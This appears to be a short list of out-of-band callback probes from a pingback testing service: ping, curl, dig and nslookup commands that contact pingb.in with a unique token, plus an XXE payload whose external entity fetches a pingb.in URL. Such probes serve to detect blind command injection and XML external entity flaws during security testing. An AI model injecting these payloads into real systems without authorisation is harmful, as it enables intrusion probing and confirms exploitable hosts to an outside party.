$ ping -c1 -p 0096807403f3bfad9604bdff8a807a00 pingb.in
$ curl pingb.in/p/96807403f3bfad9604bdff8a807a
$ dig 96807403f3bfad9604bdff8a807a @pingb.in
$ dig 96807403f3bfad9604bdff8a807a.ns.pingb.in
C:\> nslookup 96807403f3bfad9604bdff8a807a pingb.in
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://pingb.in/p/96807403f3bfad9604bdff8a807a">]> <foo>&xxe;</foo>